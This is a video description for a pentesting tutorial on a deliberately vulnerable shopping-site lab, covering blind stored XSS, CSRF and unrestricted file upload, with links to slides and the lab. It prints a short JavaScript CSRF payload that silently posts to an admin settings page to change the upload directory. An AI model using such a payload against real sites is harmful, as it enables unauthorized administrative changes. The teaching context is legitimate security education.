Скачать или смотреть White box pentesting and exploit development part 2

Please overlook my language due to the stammering problem I am trying to improve my speech

This was the exploit:

function changeDirectory(){
xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/htdocs/admin/setting.php", true );
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentails = "true";
xhr.send("coupon=&upload_dir=../&save=");
}
changeDirectory()


topics:
Blind Stored XSS
CSRF ATTACK
Unrestricted file upload
slides- https://github.com/TROUBLE-1/shoping_...
Lab- https://github.com/TROUBLE-1/shoping_...
Twitter-   / trouble1_raunak  
Nullmeet profile- https://null.co.in/profile/20680-raun...
creation of lab-    • Creating a dummy shopping site